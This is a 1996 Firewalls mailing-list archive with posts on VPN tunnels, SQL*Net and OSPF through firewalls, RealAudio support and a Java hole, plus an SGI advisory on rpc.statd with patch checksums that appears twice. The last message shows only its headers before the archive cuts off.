From firewalls-owner  Fri Mar  1 00:36:09 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA00132 for firewalls-outgoing; Thu, 29 Feb 1996 21:05:13 -0800 (PST)
Received: from WYVERN.AZTECH.NET (AZTech.Net [198.182.221.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id TAA00574 for <firewalls@greatcircle.com>; Thu, 29 Feb 1996 19:01:23 -0800 (PST)
Received: by aztech.net (MX V4.0-1 VAX) id 1; Thu, 29 Feb 1996 19:54:40 -700
Date: Thu, 29 Feb 1996 19:54:37 -700
From: Steve Gibbons <steve@aztech.net>
To: cypherpunks@toad.com
CC: firewalls@greatcircle.com, _steve@aztech.net
Message-ID: <0099EA68.385ABF20.1@aztech.net>
Subject: RE: Possible Java hack
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Some of you may remember an assertion that I made (and posted here) about a
month ago under the the thread "Possible Java hack".  The latest publicized 
Princeton hack is exactly the same thing that I eventually came up with, and 
I've consolidated my findings at <URL: http://www.aztech.net/~steve/java/>

(Crypto and Firewalls relevance will become aparent, once you take a look.)

FYI,

--
Steve@AZTech.Net

From firewalls-owner  Fri Mar  1 00:52:14 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA00188 for firewalls-outgoing; Thu, 29 Feb 1996 21:07:03 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id TAA00854 for <firewalls@miles>; Thu, 29 Feb 1996 19:02:09 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id MAA20432; Thu, 29 Feb 1996 12:32:21 -0800
Received: from su1.in.net(199.0.62.2) by mycroft via smap (V1.3mjr)
	id sma020429; Thu Feb 29 12:31:17 1996
Received: from pm3-23.in.net by su1.in.net with SMTP (5.65/1.2-eef)
	id AA24799; Thu, 29 Feb 96 15:31:04 -0500
Date: Thu, 29 Feb 96 15:31:04 -0500
Message-Id: <9602292031.AA24799@su1.in.net>
X-Sender: frankw@in.net
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: firewalls@GreatCircle.com
From: Frank Willoughby <frankw@in.net>
Subject: RE: VPN's over the internet
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

A note or two of interest about VPN's over the Internet:

o Most commercial firewalls offer firewall->firewall encryption, 
  so extra encryption h/w or s/w isn't usually needed.

o Many (most?) firewalls when performing firewall->firewall encryption
  are only providing an IP encryption tunnel through the firewalls.
  It is important to note that *NO* applications filtering is performed.
  While this may offer protection from a MITM (Man-In-The-Middle) attack 
  (Internet, etc), it offers *NO* protection from the other entity's
  network.  A problem on their network is a problem on your network.
  
o It is usually beneficial to firewall VPN connections to localize
  contamination in the event one of the VPN entities is breached.

Food for thought.

Best Regards,


Frank

<standard disclaimer>
The opinions expressed above are of the author and may not 
necessarily be representative of Fortified Networks Inc.

Fortified Networks Inc. - Management & Information Security Consulting
Phone: (317) 573-0800   - http://www.fortified.com/fortified
Home of the Free Internet Firewall Evaluation Checklist




From firewalls-owner  Fri Mar  1 01:30:08 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA03575 for firewalls-outgoing; Thu, 29 Feb 1996 21:45:00 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id VAA01674 for <firewalls@miles>; Thu, 29 Feb 1996 21:17:49 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id CAA17647; Thu, 29 Feb 1996 02:10:46 -0800
Received: from hk.super.net(202.14.67.4) by mycroft via smap (V1.3mjr)
	id sma017612; Thu Feb 29 02:10:12 1996
Received: from is3.hk.super.net (root@is3.hk.super.net [202.14.67.36]) by hk.super.net (8.7.4/8.7.1) with ESMTP id SAA24610; Thu, 29 Feb 1996 18:12:04 +0800 (HKT)
Received: from sect5-p0969 (max1-1.hk.super.net [202.64.17.1]) by is3.hk.super.net (8.7.1/8.7.1) with SMTP id SAA04440; Thu, 29 Feb 1996 18:12:01 +0800 (HKT)
Message-ID: <31366ABF.1C90@hk.super.net>
Date: Thu, 29 Feb 1996 18:10:55 -0900
From: Vinci CHOU <vkmchou@HK.Super.NET>
X-Mailer: Mozilla 2.0 (Win95; I)
MIME-Version: 1.0
To: pauck@wmd.de
CC: Firewalls@GreatCircle.Com
Subject: Re: SQL*Net proxy?
References: <9602271456.AA27573@rs3.wmd.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

gary flynn wrote:
> 
> Oracle servers that are configured as mulithreaded wil use dynamic
> ports. Several firewall vendors are working with Oracle to develop
> a SQLnet proxy. I don't know the timeframe.

The Oracle SQL*Net manuel mentioned V2 added support of asynchronous
data send/receive.  This capability was added to support the Oracle7
multi-threaded server.  Gary, is this the thing you are refering to ?
However, when I asked Oracle, we've already mentioned that we are
using V1 and still they gave the reply that the port number for
the shadow process cannot be determined !

Marco Pauck wrote:
> 
> We use plug-gw for SQL*Net v2 as well.
> There are possibly ways to configure V2 that plug-gw can't deal with,
> but with our plain-vanilla configuration it works OK.
> Do any one have any idea that whether it is a difference due to
configuration or the difference between V1/V2 ?

Marco Pauck also wrote:
> 
> We use TIS's plug-gw proxy for SQL*Net V1 (1521/tcp) and V2 (1525/tcp)
> and it just works!
> 
> It should also be possible to use a packet filter instead.
> The TIS Firewall Toolkit Overview in
http://ftp.tis.com/Home/NetworkSecurity/Firewalls/Firewalls.html
has a section for plug-gw.  It mentioned that :
"plug-gw can act as a general portal between the protected network and
the outside network; therefore, it should be used sparingly and with
caution.  Since it acts only as a data pipe, ....   In a sense, plug-gw
is similar to adding a configuration rule to a router that permits
traffic only between two systems on a single port, except that it
logs all transactions."
If it is true, I can't see how it can handle dynamic port numbers.  Can
any one explain it to me ?



Vinci.

From firewalls-owner  Fri Mar  1 01:30:59 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA00242 for firewalls-outgoing; Thu, 29 Feb 1996 21:09:00 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id TAA00486 for <firewalls@miles>; Thu, 29 Feb 1996 19:01:07 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id QAA21493; Thu, 29 Feb 1996 16:31:36 -0800
From: Adam_Safier_at_CSC/NCC@cscgt.gsfc.nasa.gov
Received: from gsfc.nasa.gov(128.183.7.22) by mycroft via smap (V1.3mjr)
	id sma021485; Thu Feb 29 16:31:16 1996
Received: from cscgt.gsfc.nasa.gov by gsfc.nasa.gov (5.65/Ultrix3.0-C)
	id AA15171; Thu, 29 Feb 96 19:31:50 -0500
Received: from cc:Mail by cscgt.gsfc.nasa.govid AA825650912; Thu, 29 Feb 96 19:15:51 PST
Date: Thu, 29 Feb 96 19:15:51 PST
Message-Id: <9601298256.AA825650912@cscgt.gsfc.nasa.gov>
To: avalon@coombs.anu.edu.au, John Hopkins <hopkins@icrf.icnet.uk>
Cc: srzpem@swissre.ch, Firewalls@GreatCircle.COM
Subject: Re[2]: Subject: Firewall-1-v1.2.1 & OSPF
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

     
Be warned, exporting to RIP can cause major headaches if you have 
variable size subnets on both sides of the router.  Variable size 
subnets are one of the neat things about OSPF but RIP is braindead 
about them.  It might work if your RIP subnet mask is the same or 
bigger than the your biggest OSPF subnet mask and all your systems are 
nicely separated on a major subnet boundry on either side of the 
router.


Have you tried to simply set up default routs?  Simply point your last 
boundry/border router to the firewall as a default or set a static 
route with a big mask.


It's been too long since I set passed OSPF through a filtering router 
but I did it once upon a time.  Essentially I opened a simple filter 
pass through for a specific UDP port and a TCP port between two 
specific IP addresses (on either end of a serial link).  Then forgot 
about it for 2 years+.

Sorry I can't remember the UDP and TCP port numbers - my files are 
elsewhere and buried.  You might try looking in the OSPF RFC's, check 
it in a complete resource allocation table or call your router vendor.

One port is around 560.  Alzheimers must be setting in but I think the other is 
also below 1024.


Good luck,

Adam Safier
Computer Scientist - and aspirant to be an absent minded professor
CSC-SED Infosec

______________________________ Reply Separator _________________________________
Subject: Re: Subject: Firewall-1-v1.2.1 & OSPF
Author:  John Hopkins <hopkins@icrf.icnet.uk> at inetgt
Date:    2/28/96 11:38 PM


One option is to export OSPF into rip, use rip throught the firewall then 
re-import rip into ospf. It's not ideal, but a solution. 

> > > Anybody with experience about how handle OSPF broadcasts with firewall-1 ?
> > I tried to configure it in a token ring network and I endet up with a

Received: by ccmail from csc.com
>From firewalls-owner@GreatCircle.COM
X-Envelope-From: firewalls-owner@GreatCircle.COM
Received: from relay5.UU.NET by csc.com with smtp
    (Smail3.1.29.1 #1) id m0trzCl-001Absa; Wed, 28 Feb 96 22:38 EST
Received: from miles.greatcircle.com by relay5.UU.NET with ESMTP 
    id QQaeyo11823; Wed, 28 Feb 1996 22:31:53 -0500 (EST)
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA26111 for firewalls-outgoing; Wed, 28 Feb 1996 09:27:51 -0800 (PST)
Received: from callisto.lif.icnet.uk (callisto.lif.icnet.uk [143.65.1.5]) by miles.greatcircle.com (8.7.1/Miles-951221-1) with SMTP id JAA26097 for <firewalls@greatcircle.com>; Wed, 28 Feb 1996 09:26:35 -0800 (PST)
Received: by callisto.lif.icnet.uk; Wed, 28 Feb 1996 17:22:54 GMT
Date: Wed, 28 Feb 1996 17:22:54 +0000 (GMT)
From: John Hopkins <hopkins@icrf.icnet.uk>
Subject: Re: Subject: Firewall-1-v1.2.1 & OSPF
To: Darren Reed <avalon@coombs.anu.edu.au>
Cc: Martin Peter <srzpem@swissre.ch>, Firewalls@GreatCircle.COM
In-Reply-To: <199602281116.DAA14139@miles.greatcircle.com>
Message-Id: <Pine.3.89.9602281740.A28583-0100000@callisto.lif.icnet.uk>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


From firewalls-owner  Fri Mar  1 01:42:42 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA00258 for firewalls-outgoing; Thu, 29 Feb 1996 21:11:50 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id TAA00526 for <firewalls@miles>; Thu, 29 Feb 1996 19:01:14 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id QAA21512; Thu, 29 Feb 1996 16:34:36 -0800
Received: from sgi.com(192.48.153.1) by mycroft via smap (V1.3mjr)
	id sma021506; Thu Feb 29 16:33:49 1996
Received: from boytoy.csd.sgi.com by sgi.sgi.com via ESMTP (950405.SGI.8.6.12/910110.SGI)
	 id QAA02530; Thu, 29 Feb 1996 16:35:33 -0800
Received: by boytoy.csd.sgi.com (951211.SGI.8.6.12.PATCH1042/911001.SGI)
	 id QAA00015; Thu, 29 Feb 1996 16:34:53 -0800
From: "SGI Security Coordinator" <agent99@boytoy.csd.sgi.com>
Message-Id: <9602291634.ZM13@boytoy.csd.sgi.com>
Date: Thu, 29 Feb 1996 16:34:53 -0800
X-Mailer: Z-Mail-SGI (3.2S.2 10apr95 MediaMail)
To: agent99@boytoy.csd.sgi.com
Subject: SGI Security Advisory 19960301-01-P
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

ooops....forgot the release notice.

FOR GENERAL PUBLIC RELEASE

-----BEGIN PGP SIGNED MESSAGE-----

______________________________________________________________________________
                Silicon Graphics Inc. Security Advisory

        Title:   Security vulnerabilities in rpc.statd program
        Number:  19960301-01-P
        Date:    February 29, 1996
______________________________________________________________________________

Silicon Graphics provides this information freely to the SGI user community
for its consideration, interpretation, implementation and use.   Silicon
Graphics recommends that this information be acted upon as soon as possible.

Silicon Graphics  will  not  be  liable  for any  indirect, special, or
consequential damages arising from the use of, failure to use or improper
use of any of the instructions or information in this Security Advisory.
______________________________________________________________________________


It has been found that there are some security vulnerabilities within the
/usr/etc/rpc.statd program.  After further investigation, SGI recommends
the following steps for neutralizing this possible means of exploit.   It
is HIGHLY RECOMMENDED that these measures be done on ALL SGI systems
running IRIX 3.x, 4.x, 5.x and 6.x.  The issue will be permanently
corrected in a future release of IRIX.


- --------------
- --- Impact ---
- --------------


The vulnerabilities found within the rpc.statd program could be used
in several including removal of files and denial of service attacks.
An existing account on the target system is not necessary.


- ----------------
- --- Solution ---
- ----------------


**** IRIX 3.x ****

Silicon Graphics Inc, no longer supports the IRIX 3.x operating system
and therefore has no patches or binaries to provide.

If possible, it is recommended that the system be upgrade to a
supported version of IRIX (see below) and then install the patch
for that particular IRIX version.


**** IRIX 4.x ****

As of the date of this document, SGI does not have a IRIX 4.x binary
replacement that addresses this particular issue.   If in the future,
a replacement binary is generated, additional advisory information will
be provided.

If possible, it is recommended that the system be upgrade to a
supported version of IRIX (see below) and then install the patch
for that particular IRIX version.


**** IRIX 5.0.x, 5.1.x ****

For the IRIX operating systems versions 5.0.x and 5.1.x, an upgrade
to 5.2 or better is required first.  When the upgrade is completed,
then the patches described in the following sections can be applied
depending on the final version of the upgrade.


**** IRIX 5.2 ****

For the IRIX operating system version 5.2, an inst-able patch has been
generated and made available via anonymous FTP and your service/support
provider.  The patch is number 1145 and will install on IRIX 5.2 only.

The SGI anonymous FTP site is sgigate.sgi.com (204.94.209.1) or its
mirror, ftp.sgi.com.   Patch 1145 can be found in the following
directories on the FTP server:

        ~ftp/Security

                or

        ~ftp/Patches/5.2

                        ##### Checksums ####

The actual patch will be a tar file containing the following files:


Filename:                 patchSG0001145
Algorithm #1 (sum -r):    44131 2 patchSG0001145
Algorithm #2 (sum):       6431 2 patchSG0001145
MD5 checksum:             21AA35CB9907CE65E7E9F2CED4C5911A

Filename:                 patchSG0001145.eoe1_sw
Algorithm #1 (sum -r):    00315 35 patchSG0001145.eoe1_sw
Algorithm #2 (sum):       33929 35 patchSG0001145.eoe1_sw
MD5 checksum:             40B85524141352FA8EE027230BE6322C

Filename:                 patchSG0001145.idb
Algorithm #1 (sum -r):    45044 2 patchSG0001145.idb
Algorithm #2 (sum):       60514 2 patchSG0001145.idb
MD5 checksum:             784C192324E1D4CEAD0866CCE279EBC2

Filename:                 patchSG0001145.nfs_man
Algorithm #1 (sum -r):    54026 6 patchSG0001145.nfs_man
Algorithm #2 (sum):       4258 6 patchSG0001145.nfs_man
MD5 checksum:             8B9266952D84D7B86386674FBEDDFC57

Filename:                 patchSG0001145.nfs_sw
Algorithm #1 (sum -r):    11017 111 patchSG0001145.nfs_sw
Algorithm #2 (sum):       29091 111 patchSG0001145.nfs_sw
MD5 checksum:             F52AC0B723600A408A3F3FF1AF637E95





**** IRIX 5.3, 6.0, 6.0.1, 6.1 ****

For the IRIX operating system versions 5.3, 6.0, 6.0.1, and 6.1
an inst-able patch has been generated and made available via anonymous
FTP and your service/support provider.  The patch is number 1128
and will install on IRIX 5.3, 6.0 and 6.0.1 only.


The SGI anonymous FTP site is sgigate.sgi.com (204.94.209.1) or its
mirror, ftp.sgi.com.   Patch 1128 can be found in the following
directories on the FTP server:

        ~ftp/Security

                or

        ~ftp/Patches/5.3
        ~ftp/Patches/6.0
        ~ftp/Patches/6.0.1
        ~ftp/Patches/6.1

                        ##### Checksums ####

The actual patch will be a tar file containing the following files:


Filename:                 patchSG0001128
Algorithm #1 (sum -r):    20931 3 patchSG0001128
Algorithm #2 (sum):       29192 3 patchSG0001128
MD5 checksum:             133D5686F71C291FBFB03826171E6C74

Filename:                 patchSG0001128.eoe1_sw
Algorithm #1 (sum -r):    61563 23 patchSG0001128.eoe1_sw
Algorithm #2 (sum):       36962 23 patchSG0001128.eoe1_sw
MD5 checksum:             CECD51825804C10EFC91AB21E64608A7

Filename:                 patchSG0001128.idb
Algorithm #1 (sum -r):    27583 2 patchSG0001128.idb
Algorithm #2 (sum):       59737 2 patchSG0001128.idb
MD5 checksum:             0F242B0EEACF2F1A3C97B67C1924C887

Filename:                 patchSG0001128.nfs_man
Algorithm #1 (sum -r):    55436 5 patchSG0001128.nfs_man
Algorithm #2 (sum):       39750 5 patchSG0001128.nfs_man
MD5 checksum:             2D902C2D245E370CA3747762075B4AFD

Filename:                 patchSG0001128.nfs_sw
Algorithm #1 (sum -r):    16238 124 patchSG0001128.nfs_sw
Algorithm #2 (sum):       57740 124 patchSG0001128.nfs_sw
MD5 checksum:             2DEC03983024A7583D6B94431048014E



- -----------------------------------------
- --- SGI Security Information/Contacts ---
- -----------------------------------------


Past SGI Advisories and security patches can be obtained via
anonymous FTP from sgigate.sgi.com or its mirror, ftp.sgi.com.
These security patches and advisories are provided freely to
all interested parties.   For issues with the patches on the
FTP sites, email can be sent to cse-security-alert@csd.sgi.com.

For assistance obtaining or working with security patches, please
contact your SGI support provider.

If there are questions about this document, email can be sent to
cse-security-alert@csd.sgi.com.

For reporting *NEW* SGI security issues, email can be sent to
security-alert@sgi.com or contact your SGI support provider.  A
support contract is not required for submitting a security report.



-----BEGIN PGP SIGNATURE-----
Version: 2.6

iQCVAwUBMTZBErQ4cFApAP75AQGZ/wP+Na2rwJNtfLjTb+r62Qqql3/X8dJKDhKu
c75INm4OA24HJP8ICGucUhrrr7phTWx7OkkkepDpPHySyES8gyXfJ5XF+aWGkVMN
hgOuVYMnPJUnA+qiAyyGiYDJQRtaNpaDHifbOSWg2CCv30Hi5aTTy3FsJKSNpn6V
mCQZ5l7bnGI=
=pCex
-----END PGP SIGNATURE-----

From firewalls-owner  Fri Mar  1 01:42:31 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA00249 for firewalls-outgoing; Thu, 29 Feb 1996 21:10:28 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id TAA00520 for <firewalls@miles>; Thu, 29 Feb 1996 19:01:12 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id QAA21456; Thu, 29 Feb 1996 16:18:35 -0800
Received: from sgi.com(192.48.153.1) by mycroft via smap (V1.3mjr)
	id sma021454; Thu Feb 29 16:18:10 1996
Received: from boytoy.csd.sgi.com by sgi.sgi.com via ESMTP (950405.SGI.8.6.12/910110.SGI)
	 id QAA00826; Thu, 29 Feb 1996 16:19:47 -0800
Received: by boytoy.csd.sgi.com (951211.SGI.8.6.12.PATCH1042/911001.SGI)
	 id QAA29910; Thu, 29 Feb 1996 16:18:41 -0800
From: "SGI Security Coordinator" <agent99@boytoy.csd.sgi.com>
Message-Id: <9602291618.ZM29908@boytoy.csd.sgi.com>
Date: Thu, 29 Feb 1996 16:18:41 -0800
X-Mailer: Z-Mail-SGI (3.2S.2 10apr95 MediaMail)
To: agent99@boytoy.csd.sgi.com
Subject: SGI Security Advisory 19960301-01-P
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

-----BEGIN PGP SIGNED MESSAGE-----

______________________________________________________________________________
                Silicon Graphics Inc. Security Advisory

        Title:   Security vulnerabilities in rpc.statd program
        Number:  19960301-01-P
        Date:    February 29, 1996
______________________________________________________________________________

Silicon Graphics provides this information freely to the SGI user community
for its consideration, interpretation, implementation and use.   Silicon
Graphics recommends that this information be acted upon as soon as possible.

Silicon Graphics  will  not  be  liable  for any  indirect, special, or
consequential damages arising from the use of, failure to use or improper
use of any of the instructions or information in this Security Advisory.
______________________________________________________________________________


It has been found that there are some security vulnerabilities within the
/usr/etc/rpc.statd program.  After further investigation, SGI recommends
the following steps for neutralizing this possible means of exploit.   It
is HIGHLY RECOMMENDED that these measures be done on ALL SGI systems
running IRIX 3.x, 4.x, 5.x and 6.x.  The issue will be permanently
corrected in a future release of IRIX.


- --------------
- --- Impact ---
- --------------


The vulnerabilities found within the rpc.statd program could be used
in several including removal of files and denial of service attacks.
An existing account on the target system is not necessary.


- ----------------
- --- Solution ---
- ----------------


**** IRIX 3.x ****

Silicon Graphics Inc, no longer supports the IRIX 3.x operating system
and therefore has no patches or binaries to provide.

If possible, it is recommended that the system be upgrade to a
supported version of IRIX (see below) and then install the patch
for that particular IRIX version.


**** IRIX 4.x ****

As of the date of this document, SGI does not have a IRIX 4.x binary
replacement that addresses this particular issue.   If in the future,
a replacement binary is generated, additional advisory information will
be provided.

If possible, it is recommended that the system be upgrade to a
supported version of IRIX (see below) and then install the patch
for that particular IRIX version.


**** IRIX 5.0.x, 5.1.x ****

For the IRIX operating systems versions 5.0.x and 5.1.x, an upgrade
to 5.2 or better is required first.  When the upgrade is completed,
then the patches described in the following sections can be applied
depending on the final version of the upgrade.


**** IRIX 5.2 ****

For the IRIX operating system version 5.2, an inst-able patch has been
generated and made available via anonymous FTP and your service/support
provider.  The patch is number 1145 and will install on IRIX 5.2 only.

The SGI anonymous FTP site is sgigate.sgi.com (204.94.209.1) or its
mirror, ftp.sgi.com.   Patch 1145 can be found in the following
directories on the FTP server:

        ~ftp/Security

                or

        ~ftp/Patches/5.2

                        ##### Checksums ####

The actual patch will be a tar file containing the following files:


Filename:                 patchSG0001145
Algorithm #1 (sum -r):    44131 2 patchSG0001145
Algorithm #2 (sum):       6431 2 patchSG0001145
MD5 checksum:             21AA35CB9907CE65E7E9F2CED4C5911A

Filename:                 patchSG0001145.eoe1_sw
Algorithm #1 (sum -r):    00315 35 patchSG0001145.eoe1_sw
Algorithm #2 (sum):       33929 35 patchSG0001145.eoe1_sw
MD5 checksum:             40B85524141352FA8EE027230BE6322C

Filename:                 patchSG0001145.idb
Algorithm #1 (sum -r):    45044 2 patchSG0001145.idb
Algorithm #2 (sum):       60514 2 patchSG0001145.idb
MD5 checksum:             784C192324E1D4CEAD0866CCE279EBC2

Filename:                 patchSG0001145.nfs_man
Algorithm #1 (sum -r):    54026 6 patchSG0001145.nfs_man
Algorithm #2 (sum):       4258 6 patchSG0001145.nfs_man
MD5 checksum:             8B9266952D84D7B86386674FBEDDFC57

Filename:                 patchSG0001145.nfs_sw
Algorithm #1 (sum -r):    11017 111 patchSG0001145.nfs_sw
Algorithm #2 (sum):       29091 111 patchSG0001145.nfs_sw
MD5 checksum:             F52AC0B723600A408A3F3FF1AF637E95





**** IRIX 5.3, 6.0, 6.0.1, 6.1 ****

For the IRIX operating system versions 5.3, 6.0, 6.0.1, and 6.1
an inst-able patch has been generated and made available via anonymous
FTP and your service/support provider.  The patch is number 1128
and will install on IRIX 5.3, 6.0 and 6.0.1 only.


The SGI anonymous FTP site is sgigate.sgi.com (204.94.209.1) or its
mirror, ftp.sgi.com.   Patch 1128 can be found in the following
directories on the FTP server:

        ~ftp/Security

                or

        ~ftp/Patches/5.3
        ~ftp/Patches/6.0
        ~ftp/Patches/6.0.1
        ~ftp/Patches/6.1

                        ##### Checksums ####

The actual patch will be a tar file containing the following files:


Filename:                 patchSG0001128
Algorithm #1 (sum -r):    20931 3 patchSG0001128
Algorithm #2 (sum):       29192 3 patchSG0001128
MD5 checksum:             133D5686F71C291FBFB03826171E6C74

Filename:                 patchSG0001128.eoe1_sw
Algorithm #1 (sum -r):    61563 23 patchSG0001128.eoe1_sw
Algorithm #2 (sum):       36962 23 patchSG0001128.eoe1_sw
MD5 checksum:             CECD51825804C10EFC91AB21E64608A7

Filename:                 patchSG0001128.idb
Algorithm #1 (sum -r):    27583 2 patchSG0001128.idb
Algorithm #2 (sum):       59737 2 patchSG0001128.idb
MD5 checksum:             0F242B0EEACF2F1A3C97B67C1924C887

Filename:                 patchSG0001128.nfs_man
Algorithm #1 (sum -r):    55436 5 patchSG0001128.nfs_man
Algorithm #2 (sum):       39750 5 patchSG0001128.nfs_man
MD5 checksum:             2D902C2D245E370CA3747762075B4AFD

Filename:                 patchSG0001128.nfs_sw
Algorithm #1 (sum -r):    16238 124 patchSG0001128.nfs_sw
Algorithm #2 (sum):       57740 124 patchSG0001128.nfs_sw
MD5 checksum:             2DEC03983024A7583D6B94431048014E



- -----------------------------------------
- --- SGI Security Information/Contacts ---
- -----------------------------------------


Past SGI Advisories and security patches can be obtained via
anonymous FTP from sgigate.sgi.com or its mirror, ftp.sgi.com.
These security patches and advisories are provided freely to
all interested parties.   For issues with the patches on the
FTP sites, email can be sent to cse-security-alert@csd.sgi.com.

For assistance obtaining or working with security patches, please
contact your SGI support provider.

If there are questions about this document, email can be sent to
cse-security-alert@csd.sgi.com.

For reporting *NEW* SGI security issues, email can be sent to
security-alert@sgi.com or contact your SGI support provider.  A
support contract is not required for submitting a security report.



-----BEGIN PGP SIGNATURE-----
Version: 2.6

iQCVAwUBMTZBErQ4cFApAP75AQGZ/wP+Na2rwJNtfLjTb+r62Qqql3/X8dJKDhKu
c75INm4OA24HJP8ICGucUhrrr7phTWx7OkkkepDpPHySyES8gyXfJ5XF+aWGkVMN
hgOuVYMnPJUnA+qiAyyGiYDJQRtaNpaDHifbOSWg2CCv30Hi5aTTy3FsJKSNpn6V
mCQZ5l7bnGI=
=pCex
-----END PGP SIGNATURE-----

From firewalls-owner  Fri Mar  1 01:53:41 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id SAA00126 for firewalls-outgoing; Thu, 29 Feb 1996 18:11:44 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id QAA02158 for <firewalls@miles>; Thu, 29 Feb 1996 16:02:43 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id NAA20756; Thu, 29 Feb 1996 13:35:26 -0800
Received: from klee.logicon.com(137.51.252.5) by mycroft via smap (V1.3mjr)
	id sma020750; Thu Feb 29 13:35:10 1996
Received: from cclink.logicon.com (cclink-out.logicon.com) by logicon.com (5.0/SMI-4.2)
	id AA08599; Thu, 29 Feb 96 13:51:25 PST
Received: from cc:Mail by cclink.logicon.com
	id AA825630368; Thu, 29 Feb 96 13:23:41 PST
Date: Thu, 29 Feb 96 13:23:41 PST
From: "LUI, Firewalls-BBS" <flui@logicon.com>
Message-Id: <9601298256.AA825630368@cclink.logicon.com>
To: firewalls@greatcircle.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

     Usubscribe Firewalls


From firewalls-owner  Fri Mar  1 01:55:30 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id PAA01681 for firewalls-outgoing; Thu, 29 Feb 1996 15:58:59 -0800 (PST)
Received: from internet.milkyway.com (milkyway.com [198.53.167.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id PAA01641 for <firewalls@greatcircle.com>; Thu, 29 Feb 1996 15:58:48 -0800 (PST)
Date: Thu, 29 Feb 1996 15:58:48 -0800 (PST)
Message-Id: <199602292358.PAA01641@miles.greatcircle.com>
X-Authentication-Warning: internet: Host perseids.milkyway.com claimed to be [192.168.77.77]
From: "Hung Vu"  <hungv@mail.fonorola.net>
Reply-To: "Hung Vu"  <hungv@fonorola.net>
To: firewalls@greatcircle.com
Subject: Re: RealAudio and Firewalls
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

In message <2.2.32.19960227010455.006ded34@us.checkpoint.com> "Emily G. Cohen" 
writes:
> CheckPoint FireWall-1 supports RealAudio securely
> TODAY, and is the first firewall to do so.  
> See the CheckPoint home page at www.checkpoint.com
> for the press release (December 5, 1995) and the
> free downloadable code for FireWall-1 users.
> 

Black Hole users have been using RealAudio securely for a while now.  I not sure
about who is the first :)

www.milkyway.com or info@milkyway.com for more information on Black Hole.


Hung.




From firewalls-owner  Fri Mar  1 02:31:45 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA01795 for firewalls-outgoing; Thu, 29 Feb 1996 21:32:41 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id VAA01018 for <firewalls@miles>; Thu, 29 Feb 1996 21:30:36 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id XAA16440; Wed, 28 Feb 1996 23:09:27 -0800
Received: from rcooper.the-wire.com(198.53.192.91) by mycroft via smap (V1.3mjr)
	id sma016438; Wed Feb 28 23:09:17 1996
Received: from ts9-07.vcr.InfoRamp.Net ([204.191.152.187])
          by Mail.RC.Toronto.on.ca (post.office MTA v1.9.1
          evaluation license) with SMTP id AAA222;
          Thu, 29 Feb 1996 02:11:34 -0500
Received: by ts9-07.vcr.InfoRamp.Net with Microsoft Mail
	id <01BB0632.44F41940@ts9-07.vcr.InfoRamp.Net>; Wed, 28 Feb 1996 23:12:45 -0500
Message-ID: <01BB0632.44F41940@ts9-07.vcr.InfoRamp.Net>
From: Russ <Russ.Cooper@RC.Toronto.on.ca>
To: "firewalls@greatcircle.com" <firewalls@greatcircle.com>,
        "'Chris Carlson'" <carlson@bah.com>
Subject: RE: What port does NT use for logins?
